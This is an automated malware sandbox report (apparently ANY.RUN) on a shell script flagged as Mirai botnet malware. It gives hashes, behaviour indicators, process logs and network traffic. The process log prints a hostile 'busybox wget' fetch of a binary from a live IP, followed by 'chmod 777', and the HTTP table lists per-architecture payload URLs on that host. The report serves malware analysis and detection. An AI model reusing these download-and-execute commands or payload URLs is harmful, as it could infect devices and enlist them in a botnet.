File name:

w.sh

Full analysis: https://app.any.run/tasks/50d06a26-5707-497a-a28c-a926a594dba0
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: September 04, 2024, 18:55:25
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

97555BA875BCBED5072AD9C16F0C702C

SHA1:

9AC3C958FFF04AD97872A4B237E1D278DFF95CE1

SHA256:

8DF113DE6F9153A69B70674C371FD33EA1BE949D024A21BF5791315DE7C89207

SSDEEP:

24:0fgUV7UJNNI75UzKgU3iUEeDUPN8UGEUftBlUGU5aUDHA:0fgUV7UJ45UzLU3iUE2UPN8U9UblUGUe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • x86_64 (PID: 13964)
      • x86 (PID: 13958)

  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 13903)

    • Modifies file or directory owner

      • sudo (PID: 13896)

    • Manipulating modules (likely to execute programs on system boot)

      • modprobe (PID: 13940)
      • modprobe (PID: 13909)
      • modprobe (PID: 13944)
      • modprobe (PID: 13952)
      • modprobe (PID: 13936)
      • modprobe (PID: 13948)
      • modprobe (PID: 13922)
      • modprobe (PID: 13913)
      • modprobe (PID: 13928)
      • modprobe (PID: 13932)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 13904)

    • Potential Corporate Privacy Violation

      • busybox (PID: 13906)
      • busybox (PID: 13910)
      • busybox (PID: 13914)
      • busybox (PID: 13933)
      • busybox (PID: 13924)
      • busybox (PID: 13937)
      • busybox (PID: 13949)
      • busybox (PID: 13941)
      • busybox (PID: 13929)
      • busybox (PID: 13945)
      • busybox (PID: 13953)
      • busybox (PID: 13959)

    • Connects to the server without a host name

      • busybox (PID: 13949)

    • Connects to unusual port

      • x86 (PID: 13958)
      • x86_64 (PID: 13964)

    • Contacting a server suspected of hosting an CnC

      • x86 (PID: 13958)
      • x86_64 (PID: 13964)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
284
Monitored processes
67
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details

Process information

PID
CMD
Path
Indicators
Parent process
13895/bin/sh -c "sudo chown user /tmp/w\.sh && chmod +x /tmp/w\.sh && DISPLAY=:0 sudo -iu user /tmp/w\.sh "/bin/sh—any-guest-agent
User:
root
Integrity Level:
UNKNOWN
Exit code:
482
13896sudo chown user /tmp/w.sh/usr/bin/sudo—sh
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
13901chown user /tmp/w.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
13902chmod +x /tmp/w.sh/usr/bin/chmod—sh
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
13903sudo -iu user /tmp/w.sh/usr/bin/sudo—sh
User:
root
Integrity Level:
UNKNOWN
Exit code:
482
13904-bash --login -c \/tmp\/w\.sh/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
482
13905/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
13906busybox wget http://93.123.85.167/arm/usr/bin/busybox
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
13907chmod 777 arm/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
13908-bash --login -c \/tmp\/w\.sh/usr/bin/bash—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
26
DNS requests
17
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
GB
—
—
whitelisted
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
GB
—
—
whitelisted
13906
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/arm
BG
binary
21.6 Kb
unknown
13914
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/arm6
BG
binary
26.6 Kb
malicious
13910
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/arm5
BG
binary
18.0 Kb
unknown
13937
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/mpsl
BG
binary
24.3 Kb
malicious
13933
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/mips
BG
binary
23.2 Kb
malicious
13941
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/ppc
BG
binary
21.3 Kb
malicious
13945
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/sh4
BG
binary
48.9 Kb
malicious
13949
busybox
GET
200
93.123.85.167:80
http://93.123.85.167/spc
BG
binary
57.0 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
470
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
1195
snap-store
195.181.175.40:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
13906
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13910
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13914
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13924
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13929
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13933
busybox
93.123.85.167:80
—
Vivacom
BG
unknown
13937
busybox
93.123.85.167:80
—
Vivacom
BG
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 185.125.190.96
  • 91.189.91.48
  • 91.189.91.98
  • 185.125.190.48
  • 185.125.190.17
  • 185.125.190.18
  • 91.189.91.96
  • 185.125.190.49
  • 91.189.91.97
  • 185.125.190.97
  • 91.189.91.49
  • 185.125.190.98
  • 2620:2d:4000:1::96
  • 2001:67c:1562::24
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::196
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2001:67c:1562::23
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::98
whitelisted
google.com
  • 142.250.186.110
  • 2a00:1450:4001:829::200e
whitelisted
odrs.gnome.org
  • 195.181.175.40
  • 207.211.211.26
  • 169.150.255.181
  • 212.102.56.178
  • 169.150.255.184
  • 195.181.170.19
  • 37.19.194.80
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::21
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.55
  • 185.125.188.59
  • 185.125.188.54
whitelisted
62.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
13906
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13910
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13914
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13924
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13929
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13933
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13941
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13937
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13945
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
13949
busybox
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
No debug info